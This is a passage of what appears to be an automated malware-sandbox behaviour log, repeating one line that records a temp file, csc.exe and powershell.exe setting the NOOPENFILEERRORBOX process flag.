Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
